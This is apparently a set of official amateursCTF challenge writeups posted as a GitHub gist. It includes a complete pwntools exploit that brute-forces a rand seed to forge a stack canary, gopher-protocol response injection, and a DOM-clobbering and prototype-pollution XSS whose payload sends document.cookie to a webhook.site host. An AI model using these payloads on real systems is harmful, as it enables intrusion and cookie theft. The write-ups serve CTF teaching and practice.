Skip to content

Instantly share code, notes, and snippets.

@voxxal
Created July 19, 2023 00:16
Show Gist options
  • Save voxxal/fb69443f0a31bc6f2ddbce763d609935 to your computer and use it in GitHub Desktop.
Save voxxal/fb69443f0a31bc6f2ddbce763d609935 to your computer and use it in GitHub Desktop.

amateursCTF Offical Writeups

Hi! I am one of the orginizers for amateursCTF. I wrote 7 challenges, and here are my offical writeups for each challenge

waiting an eternity

Waiting an eternity was a beginner challenge loosly inspired by Antimatter Dimensions.
The first part asks you to "wait an eternity." There isn't much to do and if you check the network tab, you can see that there is a Refresh header that points to /secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a. image The secret code is just there to prevent dirbusting but otherwise this second place asks you wait wait another eternity. image If we do the same thing and look at headers we can see that the server sets a cookie, if we reload, we see that it tells us how much time has passed since image We take this as a hint that we should edit our cookies so we have waited more time. Now the actual time required to wait is 1e308 seconds, but any value that makes you wait for longer than that should work. For example, here I use -inf and get the flag. image FLAG: amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}

rntk

rntk was a pwn challenge about an insecure stack canary. The idea is that you can figure out what seeded the random, so you can guess what the canary is. unvariant wrote a solve script for this challenge, what follows is his solve script

from pwn import *
from ctypes import CDLL
from ctypes.util import find_library

file = ELF("../chal/chal")
libc = CDLL(find_library("c"))

if args.HOST and args.PORT:
    p = remote(args.HOST, args.PORT)
else:
    p = process("../chal/chal", cwd="../chal")

time = libc.time(0)

# generate 10 numbers to compare
numbers = []
for i in range(10):
    p.sendlineafter(b"Exit\n", b"1")
    numbers.append(int(p.readline()))

# guess the random seed and get the canary
for i in range(time-4096, time+4096):
    libc.srand(i)
    canary = libc.rand()
    tmp = []
    for _ in range(10):
        tmp.append(libc.rand())
    guess = libc.rand()
    if tmp == numbers:
        break

print(f"[+] canary: {canary:x}")

attack = str(guess).encode().ljust(0x2c, b"\x00")
attack += p32(canary)
attack += p64(0)
attack += p64(file.symbols["win"])
p.sendline(b"2")
p.sendline(attack)

p.interactive()

go-gopher

go-gopher was a gopher challenge. The /submit path accepted user input through the url it before putting it into the response, because of this we could encode new lines and tabs to build a response in such a way that the bot would click on our link. Our payload without urlencoding it looks like this.

	error.host	1
iPadding	error.host	1
0rekt	URL:https://webhook.site/e6219bca-cb83-4013-9f59-54cd0ac80ec3	error.host	1
iPadding

When we do this, the server would return a response that looks like this.

iHello 	error.host	1
iPadding	error.host	1
0rekt	URL:https://webhook.site/e6219bca-cb83-4013-9f59-54cd0ac80ec3	error.host	1
iPadding		error.host	1
iPlease send a post request containing your flag at the server down below.		error.host	1
0Submit here! (gopher doesn't have forms D:)	URL:http://amt.rs/gophers-catcher-not-in-scope	error.host	1
.

The bot would then send a request at the second entry, so the flag is sent to the url and we get our flag. You would need to URL encode the url twice (once by gopher.Get and the other by the gopher server itself)

There was an unintended in go-gopher, being that if you owned a domain you could create a subdomain at amt.rs.yourdoman.tld and bypass that check.

sanity

sanity was an pastebin xss challenge that involved bypassing a sanitizer. You could provide a title and a body, it would first sanitize the title, then sanitize the body after, but only if the debug.santize was true. The idea behind the challenge was using DOM clobbering to override window.debug.extension with some JSON that does prototype injection. We can use the <a> tag to do that. So for the title we use something like the following

<a id=debug><a id=debug name=extension href='data:;,%7B%22__proto__%22:%7B%22sanitize%22:0%7D%7D'>
<!-- {"__proto__":{"sanitize":0}} -->

When the program uses Object.assign, it will set sanitize to 0, which is falsy, then for the body you can just pass in some simple xss payload to retrieve the flag.

<img src=x onerror='fetch("https://webhook.site/e6219bca-cb83-4013-9f59-54cd0ac80ec3/" + document.cookie)' />

FLAG: amateursCTF{s@nit1zer_ap1_pr3tty_go0d_but_not_p3rf3ct}

Originally this challenge used DOMPurify, but DOMPurify is immune to DOM clobbering, so the challenge was scrapped until I went through my 400 tabs (normal i swear) and found one talking about the new Sanitzer API, I then realized that Sanitizer was not immune to DOM Clobbering so the challenge was saved!

legality

legality was a pretty simple challenge. image As you can see, the software is licensed under AGPL which means that you are entitled to the source code. If you open the license file, you can see an email listed. You send them an email asking for source, extract the hardcoded password and get the flag.

cps

meh ill explain this later

gophers-revenge

This challenge was, as the name implied, revenge for the unintended solution for go-gopher, but it was also a little bit of revenge for cps getting the flag/solve script posted. The code was changed to patch the unintended for go-gopher, but also made sure that the domain of the thing it was requesting was amt.rs. The idea was to use cps as a database so can use the intended payload for go-gopher but point the url at cps.

	error.host	1
iPadding	error.host	1
0rekt	URL:https://cps.amt.rs/register.php	error.host	1
iPadding

The bot will then return you a token that you can use to login to cps with. When you login, you see that your password was amateursCTF{ye5._ h1s_1s_g0pher_h3ll}. Many people thought this was the actual flag, or a character was missing so they added it in, but they never wondered why the flag had a space there anyways.

resp, err := http.Post(u.String(), "application/x-www-form-urlencoded", bytes.NewBuffer([]byte(fmt.Sprintf("username=%s&password=%s", randomString(20), flag))))

Because of x-ww-form-urlencoded, + was encoded into a space, so amateursCTF{ye5._+h1s_1s_g0pher_h3ll} was the actual flag

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment